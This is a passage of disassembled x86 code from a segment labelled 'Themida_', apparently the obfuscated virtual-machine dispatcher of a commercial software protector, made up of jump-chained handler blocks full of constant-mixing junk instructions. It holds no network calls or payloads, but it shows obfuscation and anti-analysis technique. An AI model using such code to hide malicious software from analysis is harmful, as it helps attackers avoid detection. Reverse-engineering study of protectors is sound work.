		and	eax, edx
		pop	edx
		xor	eax, 34022004h
		add	esi, eax
		jmp	loc_55CF62
; ---------------------------------------------------------------------------


loc_552ECB:				; CODE XREF: Themida_:005574B0j
		add	dh, 84h
		add	bl, dh
		jmp	loc_5592E1
; ---------------------------------------------------------------------------


loc_552ED5:				; CODE XREF: Themida_:0055C8A6j
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		jmp	loc_559F97
; ---------------------------------------------------------------------------


loc_552EE9:				; CODE XREF: Themida_:00553784j
		pop	ecx
		push	edi
		push	eax
		jmp	loc_55AFEB
; ---------------------------------------------------------------------------


loc_552EF1:				; CODE XREF: Themida_:00557F47j
		pop	ebx
		sub	ebp, 2
		xchg	ebp, [esp]
		jmp	loc_55AFB1
; ---------------------------------------------------------------------------


loc_552F00:				; CODE XREF: Themida_:00556432j
		push	edx
		mov	edx, 22FD0051h
		dec	edx
		jmp	loc_558C24
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		sub	esp, 4
		mov	[esp], ebp
		push	esp
		pop	ebp
		push	edx
		jmp	loc_55AABE
; ---------------------------------------------------------------------------


loc_552F1E:				; CODE XREF: Themida_:00554940j
		sub	ebx, 51B00817h
		jmp	loc_554F53
; ---------------------------------------------------------------------------


loc_552F29:				; CODE XREF: Themida_:005544C8j
		inc	bl
		dec	bl
		inc	bl
		sub	bl, 7Ch
		xor	bl, cl
		pop	ecx
		xor	al, bl
		pop	bx
		push	ecx
		push	eax
		jmp	loc_5535B7
; ---------------------------------------------------------------------------


loc_552F40:				; CODE XREF: Themida_:005577B1j
		push	3D35h
		mov	[esp], edi
		jmp	loc_553629
; ---------------------------------------------------------------------------


loc_552F4D:				; CODE XREF: Themida_:0055DB4Ej
		push	eax
		mov	eax, 1EAA3FAFh
		mov	ebx, 60740CCCh
		jmp	loc_55B52F
; ---------------------------------------------------------------------------


loc_552F5D:				; CODE XREF: Themida_:0055AD5Cj
		neg	edi
		xor	edi, 3E2F493Fh
		jmp	loc_5528F1
; ---------------------------------------------------------------------------


loc_552F6A:				; CODE XREF: Themida_:005543EFj
		pop	edi
		push	dword ptr [esp]
		pop	edx
		jmp	loc_55B8FF
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		pop	ecx
		sub	esp, 4
		mov	[esp], edx
		sub	esp, 4
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		mov	edx, [esp]
		add	esp, 4
		push	edi
		mov	edi, 7BCC78E4h
		add	edi, 4C6A546Eh
		add	edi, 1
		dec	edi
		jmp	loc_55336B
; ---------------------------------------------------------------------------


loc_552FAA:				; CODE XREF: Themida_:00555957j
		push	esi
		mov	esi, 7B5DD790h
		add	eax, esi
		pop	esi
		xor	edi, eax
		mov	eax, [esp]
		add	esp, 4
		mov	[edx+38h], edi
		pop	edi
		sub	[edx+38h], ecx
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_559458
; ---------------------------------------------------------------------------


loc_552FD3:				; CODE XREF: Themida_:0055839Dj
		xor	esi, [esp]
		jmp	loc_55C350
; ---------------------------------------------------------------------------


loc_552FDB:				; CODE XREF: Themida_:00558D00j
		add	ecx, 38C50FC2h
		add	ecx, edi
		sub	ecx, 38C50FC2h
		sub	ecx, 26F86D8Eh
		sub	ecx, 37005268h
		pop	edi
		shl	ecx, 8
		push	eax
		mov	eax, 393C7D31h
		jmp	loc_5522E0
; ---------------------------------------------------------------------------


loc_553004:				; CODE XREF: Themida_:00552551j
					; Themida_:00556972j
		push	ebx
		push	dword ptr [esp]
		pop	eax
		push	edx
		push	esp
		jmp	loc_55D4D1
; ---------------------------------------------------------------------------


loc_553010:				; CODE XREF: Themida_:00552E97j
		xor	edi, 0C36607Ah
		sub	edi, 7DAB5F2Ch
		xor	ebx, edi
		pop	edi
		and	eax, ebx
		pop	ebx
		shr	eax, 0Bh
		xor	ecx, eax
		push	esi
		push	eax
		mov	eax, ebx
		mov	esi, eax
		jmp	loc_55AE16
; ---------------------------------------------------------------------------


loc_553032:				; CODE XREF: Themida_:0055C09Bj
		xchg	ecx, [esp]
		push	dword ptr [esp]
		jmp	loc_55682B
; ---------------------------------------------------------------------------


loc_55303D:				; CODE XREF: Themida_:0055BFF5j
		add	eax, 2C174A37h
		shr	eax, 8
		jmp	loc_55A52E
; ---------------------------------------------------------------------------


loc_55304A:				; CODE XREF: Themida_:0055548Bj
		mov	ah, 0B5h
		mov	ch, ah
		jmp	loc_5548D1
; ---------------------------------------------------------------------------


loc_553053:				; CODE XREF: Themida_:0055DB9Fj
		add	dword ptr [esp+4], 4C621062h
		jmp	loc_558F5B
; ---------------------------------------------------------------------------


loc_553060:				; CODE XREF: Themida_:0055A4E6j
		add	ebx, edi
		pop	edi
		add	ebx, eax
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_558508
; ---------------------------------------------------------------------------


loc_553070:				; CODE XREF: Themida_:005532ADj
		push	edi
		push	edx
		mov	edx, 2D3E4EF7h
		mov	edi, 28094C57h
		xor	edi, edx
		pop	edx
		dec	edi
		add	edi, 6F1964E1h
		jmp	loc_555949
; ---------------------------------------------------------------------------


loc_55308B:				; CODE XREF: Themida_:0055CAB4j
		sub	ebx, 5A11368Ch
		mov	eax, ebx
		pop	ebx
		sub	eax, 26CD6ED6h
		add	eax, ebx
		add	eax, 26CD6ED6h
		mov	ecx, [eax]
		pop	eax
		pop	ebx
		jmp	loc_551CB1
; ---------------------------------------------------------------------------


loc_5530A9:				; CODE XREF: Themida_:00553309j
		pop	ebp
		jmp	loc_5586FE
; ---------------------------------------------------------------------------


loc_5530AF:				; CODE XREF: Themida_:0055281Bj
		popa
		popf
		jmp	locret_558149
; ---------------------------------------------------------------------------


loc_5530B6:				; CODE XREF: Themida_:0055CF8Cj
		push	edx
		mov	dh, 4
		inc	dh
		jmp	loc_55898E
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		jmp	loc_55433E
; ---------------------------------------------------------------------------


loc_5530C9:				; CODE XREF: Themida_:0055D41Cj
		mov	[esp], esi
		mov	esi, 4
		add	ebx, esi
		pop	esi
		push	edi
		mov	edi, 4
		sub	ebx, edi
		pop	edi
		xchg	ebx, [esp]
		mov	esp, [esp]
		mov	[esp], ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 2
		push	750Bh
		mov	[esp], ebp
		jmp	loc_55B417
; ---------------------------------------------------------------------------


loc_553101:				; CODE XREF: Themida_:00552A4Aj
		add	esp, 4
		mov	bh, 0C7h
		sub	bh, ah
		jmp	loc_55638F
; ---------------------------------------------------------------------------


loc_55310D:				; CODE XREF: Themida_:00552676j
		mov	ah, 0ADh
		jmp	loc_554F23
; ---------------------------------------------------------------------------


loc_553114:				; CODE XREF: Themida_:0055864Aj
		not	ebx
		jmp	loc_55AC51
; ---------------------------------------------------------------------------


loc_55311B:				; CODE XREF: Themida_:005533D3j
		push	edx
		jmp	loc_559CD2
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	eax
		sbb	[esp], eax
		pushf
		jmp	loc_551815
; ---------------------------------------------------------------------------


loc_55312F:				; CODE XREF: Themida_:0055936Aj
		shl	ebx, 8
		sub	ebx, 0FD3A5B44h
		jmp	loc_554E5B
; ---------------------------------------------------------------------------


loc_55313D:				; CODE XREF: Themida_:0055A5F2j
		pop	ebp
		push	dword ptr [esp]
		jmp	loc_5554C0
; ---------------------------------------------------------------------------


loc_553146:				; CODE XREF: Themida_:00553A06j
		push	edi
		mov	edi, ebx
		mov	eax, edi
		pop	edi
		jmp	loc_553862
; ---------------------------------------------------------------------------


loc_553151:				; CODE XREF: Themida_:0055DC1Ej
		shl	cl, 5
		xor	cl, 3
		add	al, cl
		pop	ecx
		push	small 1F70h
		mov	[esp], cx
		jmp	loc_554592
; ---------------------------------------------------------------------------


loc_553167:				; CODE XREF: Themida_:005522FAj
		push	edi
		mov	edi, 7952767Eh
		jmp	loc_558D96
; ---------------------------------------------------------------------------


loc_553172:				; CODE XREF: Themida_:00554C35j
		add	ecx, 46C74AA1h
		add	ecx, 7D73258Bh
		sub	ecx, 36B37E6Ch
		xchg	eax, ecx
		not	eax
		xchg	eax, ecx
		shl	ecx, 4
		sub	ecx, 587B44FCh
		add	esi, ecx
		jmp	loc_55985C
; ---------------------------------------------------------------------------


loc_553198:				; CODE XREF: Themida_:00556159j
		push	30DFh
		mov	[esp], ebx
		push	edi
		push	ecx
		mov	ecx, 4B807C2Ch
		jmp	loc_55DB15
; ---------------------------------------------------------------------------


loc_5531AC:				; CODE XREF: Themida_:0055C08Bj
		mov	esp, [esp]
		mov	fs:[edx], ax
		jmp	loc_551815
; ---------------------------------------------------------------------------


loc_5531B8:				; CODE XREF: Themida_:00556869j
		xchg	ecx, [esp]
		mov	esp, [esp]
		pop	dword ptr [esp]
		mov	esp, [esp]


loc_5531C4:				; CODE XREF: Themida_:00555A9Aj
		push	ebx
		jmp	loc_5587FA
; ---------------------------------------------------------------------------


loc_5531CA:				; CODE XREF: Themida_:0055BDA2j
		shr	dl, 5
		push	ecx
		mov	cl, 1
		xor	dl, cl
		mov	ecx, [esp]
		add	esp, 4
		sub	bh, dl
		mov	edx, [esp]
		jmp	loc_556330
; ---------------------------------------------------------------------------
		pop	dword ptr [edx]
		jmp	loc_551815
; ---------------------------------------------------------------------------


loc_5531EC:				; CODE XREF: Themida_:00554F66j
		push	2
		pop	ecx
		sub	ebp, 64537AD8h
		add	ebp, 1EC17E61h
		jmp	loc_55D72B
; ---------------------------------------------------------------------------


loc_553203:				; CODE XREF: Themida_:005598EAj
		pop	ecx
		add	edx, edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_5563B7
; ---------------------------------------------------------------------------


loc_553211:				; CODE XREF: Themida_:00559E2Fj
		mov	edx, 0
		jmp	loc_55294D
; ---------------------------------------------------------------------------


loc_55321B:				; CODE XREF: Themida_:0055BA44j
		mov	cl, 6Ch
		sub	cl, al
		mov	eax, [esp]
		push	0BA7h
		jmp	loc_552779
; ---------------------------------------------------------------------------


loc_55322C:				; CODE XREF: Themida_:005571BEj
		add	edi, esi
		pop	esi
		xor	edi, [esp]
		xor	[esp], edi
		jmp	loc_55D6ED
; ---------------------------------------------------------------------------


loc_55323A:				; CODE XREF: Themida_:00559888j
		add	eax, 19A56159h
		add	eax, ebx
		sub	eax, 19A56159h
		pop	ebx
		push	eax
		mov	eax, 5CF2BC2h
		push	ebx
		mov	ebx, 18D66FDAh
		jmp	loc_55AA50
; ---------------------------------------------------------------------------


loc_553258:				; CODE XREF: Themida_:00551987j
		mov	edi, [esp]
		sub	esp, 4
		jmp	loc_558AAE
; ---------------------------------------------------------------------------


loc_553263:				; CODE XREF: Themida_:00556251j
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		add	ebx, 4
		push	175Ch
		mov	[esp], eax
		mov	eax, 2
		add	ebx, eax
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		xchg	ebx, [esp]
		pop	esp
		and	[esp], ax
		pushf
		jmp	loc_551815
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		jmp	loc_55AE68
; ---------------------------------------------------------------------------


loc_5532A0:				; CODE XREF: Themida_:0055AC17j
		and	ebp, 728B65BCh
		push	esi
		jmp	loc_55552F
; ---------------------------------------------------------------------------


loc_5532AC:				; CODE XREF: Themida_:00551DBEj
		pop	eax
		jmp	loc_553070
; ---------------------------------------------------------------------------


loc_5532B2:				; CODE XREF: Themida_:00553D08j
		add	ebp, 4
		sub	esp, 4
		mov	[esp], ebp
		push	dword ptr [esp+4]
		pop	ebp
		jmp	loc_559FAA
; ---------------------------------------------------------------------------


loc_5532C5:				; CODE XREF: Themida_:0055D5ACj
		pop	esp
		jmp	loc_551B64
; ---------------------------------------------------------------------------


loc_5532CB:				; CODE XREF: Themida_:00558EB9j
		xor	ebx, esi
		pop	esi
		push	ebp
		mov	ebp, 2663937h
		or	ebp, 674A5B88h
		xor	ebp, 65E80D1Eh
		shr	ebp, 5
		and	ebp, 486A2DD2h
		push	eax
		push	edi
		mov	edi, 32284F5Ah
		jmp	loc_5528CC
; ---------------------------------------------------------------------------


loc_5532F5:				; CODE XREF: Themida_:005562E9j
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_55D0C0
; ---------------------------------------------------------------------------


loc_553307:				; CODE XREF: Themida_:0055BB7Dj
		xor	ecx, ebp
		jmp	loc_5530A9
; ---------------------------------------------------------------------------


loc_55330E:				; CODE XREF: Themida_:0055C366j
		xor	eax, 58A57168h
		not	eax
		sub	eax, 6516DDB6h
		jmp	loc_557104
; ---------------------------------------------------------------------------


loc_55331F:				; CODE XREF: Themida_:00554DFCj
		sub	edx, 0CFB7FAh
		add	ebx, edx
		pop	edx
		jmp	loc_5578FC
; ---------------------------------------------------------------------------


loc_55332D:				; CODE XREF: Themida_:005554C8j
		push	eax
		mov	eax, 7154158Eh
		mov	edi, 429175E4h
		xor	edi, eax
		pop	eax
		sub	edi, 33C56068h
		add	ecx, edi
		pop	edi
		xor	ecx, [esp]
		xor	[esp], ecx
		jmp	loc_5561A2
; ---------------------------------------------------------------------------


loc_55334F:				; CODE XREF: Themida_:0055DB5Fj
		mov	esi, esp
		jmp	loc_55349D
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		jmp	loc_55687F
; ---------------------------------------------------------------------------


loc_55335E:				; CODE XREF: Themida_:005572A7j
		xor	eax, 2A27958Ah
		push	eax
		pop	ecx
		pop	eax
		jmp	loc_558D37
; ---------------------------------------------------------------------------


loc_55336B:				; CODE XREF: Themida_:00552FA5j
		or	edi, 36633063h
		neg	edi
		add	edi, 0FE77FD77h
		add	edx, edi
		pop	edi
		add	edx, 4
		jmp	loc_5583F6
; ---------------------------------------------------------------------------


loc_553387:				; CODE XREF: Themida_:0055C3A5j
		add	edi, 9D3CE8D6h
		jmp	loc_554A76
; ---------------------------------------------------------------------------


loc_553392:				; CODE XREF: Themida_:005527CFj
		sub	edi, esi
		mov	esi, [esp]
		jmp	loc_559613
; ---------------------------------------------------------------------------


loc_55339C:				; CODE XREF: Themida_:0055AAA3j
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		push	esi
		jmp	loc_55C72C
; ---------------------------------------------------------------------------


loc_5533A9:				; CODE XREF: Themida_:005586AFj
		shr	dh, 3
		jmp	loc_55B736
; ---------------------------------------------------------------------------


loc_5533B1:				; CODE XREF: Themida_:00554F9Fj
		push	3EC6h
		jmp	loc_5569A8
; ---------------------------------------------------------------------------


loc_5533BB:				; CODE XREF: Themida_:0055B578j
		push	dword ptr [edi+24h]
		push	edx
		pop	dword ptr [edi+24h]
		jmp	loc_55683E
; ---------------------------------------------------------------------------


loc_5533C7:				; CODE XREF: Themida_:0055196Fj
		pop	dword ptr [esp]
		jmp	loc_55B519
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		jmp	loc_55311B
; ---------------------------------------------------------------------------


loc_5533D8:				; CODE XREF: Themida_:0055858Aj
		add	esp, 4
		add	eax, esi
		jmp	loc_55D4EC
; ---------------------------------------------------------------------------


loc_5533E5:				; CODE XREF: Themida_:00559CCDj
		add	esi, ebp
		push	ebx
		mov	ebx, 66DC6798h
		sub	esi, ebx
		jmp	loc_558F2E
; ---------------------------------------------------------------------------


loc_5533F4:				; CODE XREF: Themida_:0055AC4Cj
		mov	ecx, eax
		pop	eax
		or	esi, ecx
		pop	ecx
		jmp	loc_552E0E
; ---------------------------------------------------------------------------


loc_5533FF:				; CODE XREF: Themida_:00558E52j
		shr	edx, 2
		neg	edx
		sub	edx, 7E5A8B0Dh
		dec	edx
		push	esi
		mov	esi, 2D830CD3h
		and	edx, esi
		pop	esi
		push	esi
		push	edi
		push	esi
		mov	esi, 2EBA2028h
		jmp	loc_556CB1
; ---------------------------------------------------------------------------


loc_553421:				; CODE XREF: Themida_:00558674j
		and	dh, 0CBh
		jmp	loc_55C47C
; ---------------------------------------------------------------------------


loc_553429:				; CODE XREF: Themida_:00558441j
		push	esi
		jmp	loc_5529FA
; ---------------------------------------------------------------------------


loc_55342F:				; CODE XREF: Themida_:0055B5CCj
		add	esi, edi
		pop	edi
		jmp	loc_559FCD
; ---------------------------------------------------------------------------


loc_553437:				; CODE XREF: Themida_:0055298Ej
		push	60490666h
		pop	ebx
		push	ebp
		mov	ebp, 3FA33096h
		not	ebp
		shr	ebp, 6
		xor	ebp, 6348755Fh
		xor	ebx, ebp
		mov	ebp, [esp]
		add	esp, 4
		and	ecx, ebx
		push	dword ptr [esp]
		pop	ebx
		push	ebx
		mov	ebx, esp
		jmp	loc_557546
; ---------------------------------------------------------------------------


loc_553467:				; CODE XREF: Themida_:00552C5Dj
		sub	dh, 29h
		add	bl, dh
		mov	edx, [esp]
		add	esp, 4
		movzx	eax, al
		pop	dword ptr [edi+eax*4]
		jmp	loc_551815
; ---------------------------------------------------------------------------


loc_55347D:				; CODE XREF: Themida_:00555EABj
		mov	ebp, ecx
		mov	esi, ebp
		pop	ebp
		pop	ecx
		and	ecx, esi
		mov	esi, [esp]
		jmp	loc_55C4F2
; ---------------------------------------------------------------------------


loc_55348D:				; CODE XREF: Themida_:0055DC73j
		mov	edx, 3D477808h
		sub	edx, 2AFF267Eh
		jmp	loc_551F81
; ---------------------------------------------------------------------------


loc_55349D:				; CODE XREF: Themida_:00553351j
		add	esi, 4
		add	esi, 4
		jmp	loc_552A9E
; ---------------------------------------------------------------------------


loc_5534AE:				; CODE XREF: Themida_:00558F61j
		mov	[esp], ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		pop	eax
		jmp	loc_553FA2
; ---------------------------------------------------------------------------


loc_5534C9:				; CODE XREF: Themida_:005584EDj
		mov	edi, 498E2B2Ch
		or	edi, 50A370B4h
		xor	edi, 13A76C4Eh
		sub	edx, edi
		pop	edi
		jmp	loc_551815
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, esp
		push	eax
		push	edx
		mov	edx, 793E252Ah
		jmp	loc_55D971
; ---------------------------------------------------------------------------


loc_5534FA:				; CODE XREF: Themida_:00556683j
		add	esp, 4
		push	dword ptr [edi+eax*4]
		push	4F29h
		jmp	loc_55C390
; ---------------------------------------------------------------------------


loc_55350D:				; CODE XREF: Themida_:0055477Ej
		add	esp, 4
		sub	dword ptr [esp+4], 0FAB22CEh
		jmp	loc_551A7A
; ---------------------------------------------------------------------------


loc_55351D:				; CODE XREF: Themida_:00556220j
		inc	dword ptr [esp]
		pushf
		jmp	loc_551815
; ---------------------------------------------------------------------------


loc_553526:				; CODE XREF: Themida_:0055C949j
		pop	ebx
		or	ebx, eax
		mov	eax, [esp]
		add	esp, 4
		push	eax
		mov	eax, 754F3DBFh
		or	eax, 7A569C6h
		jmp	loc_554698
; ---------------------------------------------------------------------------


loc_553542:				; CODE XREF: Themida_:0055B333j
		not	edi
		inc	edi
		add	edi, 0CCB53A84h
		add	ecx, edi
		jmp	loc_559B84
; ---------------------------------------------------------------------------


loc_553552:				; CODE XREF: Themida_:00552E09j
		add	esp, 4
		sub	esp, 4
		mov	[esp], ecx
		push	5CE22980h
		pop	ecx
		sub	ecx, 0F570CCEDh
		jmp	loc_559E8B
; ---------------------------------------------------------------------------


loc_553572:				; CODE XREF: Themida_:00556310j
		add	edi, ecx
		jmp	loc_5527C7
; ---------------------------------------------------------------------------


loc_553579:				; CODE XREF: Themida_:0055CEC3j
		push	ebp
		mov	ebp, 4
		add	edi, 0C840DD6h
		jmp	loc_554372
; ---------------------------------------------------------------------------


loc_55358A:				; CODE XREF: Themida_:00551F9Dj
		xor	edi, [esp]
		jmp	loc_55DC09
; ---------------------------------------------------------------------------


loc_553592:				; CODE XREF: Themida_:0055BAFAj
		pop	ebp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		sub	esp, 4
		jmp	loc_55194B
; ---------------------------------------------------------------------------


loc_5535AB:				; CODE XREF: Themida_:0055763Fj
		mov	eax, 3A5E9C7Eh
		sub	eax, ecx
		jmp	loc_552CBE
; ---------------------------------------------------------------------------


loc_5535B7:				; CODE XREF: Themida_:00552F3Bj
		push	ebx
		push	eax
		mov	al, 79h
		add	al, 0BAh
		push	edx
		mov	dh, al
		mov	bl, dh
		pop	edx
		pop	eax
		mov	ah, bl
		pop	ebx
		mov	ch, 7
		xor	ch, ah
		jmp	loc_552947
; ---------------------------------------------------------------------------


loc_5535D0:				; CODE XREF: Themida_:00554488j
		dec	ebx
		push	71Fh
		mov	[esp], edx
		mov	edx, 65C260D4h
		not	edx
		neg	edx
		jmp	loc_5569F9
; ---------------------------------------------------------------------------


loc_5535E7:				; CODE XREF: Themida_:00556008j
		sub	bl, 15h
		push	eax
		mov	al, 0B7h
		add	al, 0A8h
		add	al, 94h
		add	al, 0Bh
		sub	ch, al
		jmp	loc_55C5EC
; ---------------------------------------------------------------------------


loc_5535FA:				; CODE XREF: Themida_:0055741Aj
		pop	ecx
		add	esp, 4
		jmp	loc_55ACCB
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		jmp	loc_5537D3
; ---------------------------------------------------------------------------


loc_55360E:				; CODE XREF: Themida_:00552051j
		push	5A95h
		jmp	loc_55CAA2
; ---------------------------------------------------------------------------


loc_553618:				; CODE XREF: Themida_:00551E40j
		pop	eax
		push	ecx
		jmp	loc_55BD28
; ---------------------------------------------------------------------------


loc_55361F:				; CODE XREF: Themida_:0055CC85j
		mov	[esp], edx
		mov	dl, 9
		jmp	loc_556906
; ---------------------------------------------------------------------------


loc_553629:				; CODE XREF: Themida_:00552F48j
		sub	esp, 4
		jmp	loc_55ABA4
; ---------------------------------------------------------------------------


loc_553631:				; CODE XREF: Themida_:005537FBj
		add	esp, 2
		add	bl, 6Fh
		sub	bl, al
		sub	bl, 6Fh
		push	ecx
		mov	ch, 0AFh
		add	ch, 0CDh
		sub	bl, 9Ah
		add	bl, ch
		add	bl, 9Ah
		mov	ecx, [esp]
		add	esp, 4
		movzx	eax, al
		jmp	dword ptr [edi+eax*4]
; ---------------------------------------------------------------------------
		popa
		retn
; ---------------------------------------------------------------------------
		jmp	loc_552343
; ---------------------------------------------------------------------------
		neg	dword ptr [esp]
		pushf
		jmp	loc_551815
; ---------------------------------------------------------------------------


loc_553669:				; CODE XREF: Themida_:005592B4j
		push	esi
		jmp	loc_5569C3
; ---------------------------------------------------------------------------


loc_55366F:				; CODE XREF: Themida_:005521F6j
		add	ebp, edx
		jmp	loc_555C06
; ---------------------------------------------------------------------------


loc_553676:				; CODE XREF: Themida_:005547F2j
		push	ebx
		jmp	loc_55CF96
; ---------------------------------------------------------------------------


loc_55367C:				; CODE XREF: Themida_:00556B88j
		pop	esp
		add	edx, 2
		xchg	edx, [esp]
		pop	esp
		mov	ax, [esp]
		push	edx
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	esp
		pop	dword ptr [esp]
		jmp	loc_55CD17
; ---------------------------------------------------------------------------


loc_5536AD:				; CODE XREF: Themida_:005524EFj
		push	edx
		mov	edx, 4
		add	eax, 36386405h
		add	eax, edx
		sub	eax, 36386405h
		pop	edx
		jmp	loc_55A9F2
; ---------------------------------------------------------------------------


loc_5536C5:				; CODE XREF: Themida_:00556DF3j
		dec	ebp
		add	ebp, 0CBE69C00h
		xor	edx, ebp
		pop	ebp
		mov	esi, edx
		mov	edx, [esp]
		push	ebp
		mov	ebp, esp
		jmp	loc_55CDB1
; ---------------------------------------------------------------------------


loc_5536DC:				; CODE XREF: Themida_:00554F59j
		sub	ebx, eax
		jmp	loc_5587EF
; ---------------------------------------------------------------------------


loc_5536E3:				; CODE XREF: Themida_:0055917Ej
		add	esp, 4
		push	2DBCh
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		push	3DEAh
		jmp	loc_552E9C
; ---------------------------------------------------------------------------


loc_553703:				; CODE XREF: Themida_:0055AEC4j
		add	bx, 1403h
		push	di
		push	esi
		jmp	loc_555CC1
; ---------------------------------------------------------------------------


loc_553710:				; CODE XREF: Themida_:00556872j
		xor	[esp], edx
		xor	edx, [esp]
		jmp	loc_556808
; ---------------------------------------------------------------------------


loc_55371B:				; CODE XREF: Themida_:00558B49j
		push	esp
		pop	edx
		push	esi
		push	edi
		push	esi
		mov	esi, 105B6C0Ch
		mov	edi, 105B6C10h
		sub	edi, esi
		mov	esi, [esp]
		add	esp, 4
		mov	esi, edi
		pop	edi
		add	edx, esi
		mov	esi, [esp]
		add	esp, 4
		sub	edx, 4
		push	edi
		mov	edi, esp
		jmp	loc_5577E3
; ---------------------------------------------------------------------------


loc_55374B:				; CODE XREF: Themida_:005524A3j
		push	ebp
		not	dword ptr [esp]
		jmp	loc_55AAA8
; ---------------------------------------------------------------------------


loc_553754:				; CODE XREF: Themida_:0055A944j
		pop	esp
		jmp	loc_55C1FE
; ---------------------------------------------------------------------------


loc_55375A:				; CODE XREF: Themida_:0055487Aj
		jmp	loc_551815
; ---------------------------------------------------------------------------


loc_55375F:				; CODE XREF: Themida_:00559250j
		push	eax
		mov	eax, 7FC22BECh
		push	edx
		mov	edx, 2875402Eh
		push	ecx
		mov	ecx, 0D78ABFD2h
		jmp	loc_5540A5
; ---------------------------------------------------------------------------


loc_553776:				; CODE XREF: Themida_:0055D938j
		push	edx
		jmp	loc_55AD68
; ---------------------------------------------------------------------------


loc_55377C:				; CODE XREF: Themida_:00553B71j
		mov	ah, 35h
		jmp	loc_554163
; ---------------------------------------------------------------------------


loc_553783:				; CODE XREF: Themida_:0055272Bj
		push	esp
		jmp	loc_552EE9
; ---------------------------------------------------------------------------


loc_553789:				; CODE XREF: Themida_:005560F5j
		pop	edi
		add	esp, 4
		or	ebx, ebx
		jnz	loc_554691
		push	esi
		jmp	loc_55B822
; ---------------------------------------------------------------------------


loc_55379B:				; CODE XREF: Themida_:00557107j
		xor	edi, ecx
		pop	ecx
		sub	edi, 6CCE31D3h
		add	eax, edi
		pop	edi
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		push	37AEh
		mov	[esp], esi
		jmp	loc_553DAF
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		pop	eax
		push	esi
		jmp	loc_557677
; ---------------------------------------------------------------------------


loc_5537C8:				; CODE XREF: Themida_:00552866j
		inc	ebx
		dec	ebx
		push	ebx
		not	dword ptr [esp]
		jmp	loc_5543FE
; ---------------------------------------------------------------------------


loc_5537D3:				; CODE XREF: Themida_:00553609j
		mov	ecx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], esi
		push	395Fh
		sub	esp, 4
		jmp	loc_559143
; ---------------------------------------------------------------------------


loc_5537F2:				; CODE XREF: Themida_:00557BBEj
		sub	bl, al
		sub	bl, 43h
		mov	ax, [esp]
		jmp	loc_553631
; ---------------------------------------------------------------------------


loc_553800:				; CODE XREF: Themida_:0055C99Dj
		push	esp
		push	dword ptr [esp]
		jmp	loc_557DEF
; ---------------------------------------------------------------------------


loc_553809:				; CODE XREF: Themida_:0055DD06j
		mov	edi, 3ED6148Ch
		not	edi
		jmp	loc_55D2B7
; ---------------------------------------------------------------------------


loc_553815:				; CODE XREF: Themida_:0055C109j
		pop	edi
		push	edi
		mov	edi, 26F56ADFh
		add	[esp+8], edi
		pop	edi
		sub	[esp+4], ebp
		push	ecx
		mov	ecx, 26F56ADFh
		sub	[esp+8], ecx
		pop	ecx
		pop	ebp
		jmp	loc_551815
; ---------------------------------------------------------------------------


loc_553836:				; CODE XREF: Themida_:00556293j
		add	edx, 6B51762Bh
		jmp	loc_5576C2
; ---------------------------------------------------------------------------


loc_553841:				; CODE XREF: Themida_:00559AD5j
		mov	ecx, 0DC045D5h
		add	eax, ecx
		mov	ecx, [esp]
		add	esp, 4
		sub	edx, eax
		mov	eax, [esp]
		add	esp, 4
		pop	edi
		jmp	loc_551815
; ---------------------------------------------------------------------------


loc_553862:				; CODE XREF: Themida_:0055314Cj
		mov	ebp, eax
		mov	eax, [esp]
		add	esp, 4
		push	69CBh
		mov	[esp], edx
		push	edi
		jmp	loc_55C7CB
; ---------------------------------------------------------------------------


loc_553878:				; CODE XREF: Themida_:00557933j
		pop	eax
		mov	dx, [esp]
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, esp
		push	edi
		jmp	loc_559E62
; ---------------------------------------------------------------------------


loc_55388E:				; CODE XREF: Themida_:00553A68j
		dec	edx
		and	edx, 28856A7Ch
		dec	edx
		sub	edx, 0DEEBDAD0h
		xor	ecx, edx
		pop	edx
		sub	ebx, ecx
		jmp	loc_55C5BF
; ---------------------------------------------------------------------------


loc_5538A6:				; CODE XREF: Themida_:00553F53j
		xchg	esi, [esp]
		mov	esp, [esp]
		mov	[esp], edx
		push	eax
		pushf
		jmp	loc_551815
; ---------------------------------------------------------------------------


loc_5538B6:				; CODE XREF: Themida_:0055A6B7j
		jmp	loc_551815
; ---------------------------------------------------------------------------


loc_5538BB:				; CODE XREF: Themida_:00551AFAj
		pop	ebx
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_5544B9
; ---------------------------------------------------------------------------


loc_5538CA:				; CODE XREF: Themida_:00557D8Dj
		add	eax, 4
		xchg	eax, [esp]
		pop	esp


loc_5538D3:				; CODE XREF: Themida_:0055D885j
		push	edi
		jmp	loc_55C0C0
; ---------------------------------------------------------------------------


loc_5538D9:				; CODE XREF: Themida_:00551E5Dj
		push	ebx
		mov	ebx, 6F0E772Fh
		jmp	loc_55B7C5
; ---------------------------------------------------------------------------


loc_5538E4:				; CODE XREF: Themida_:0055CA58j
		sub	eax, 72794B48h
		push	edx
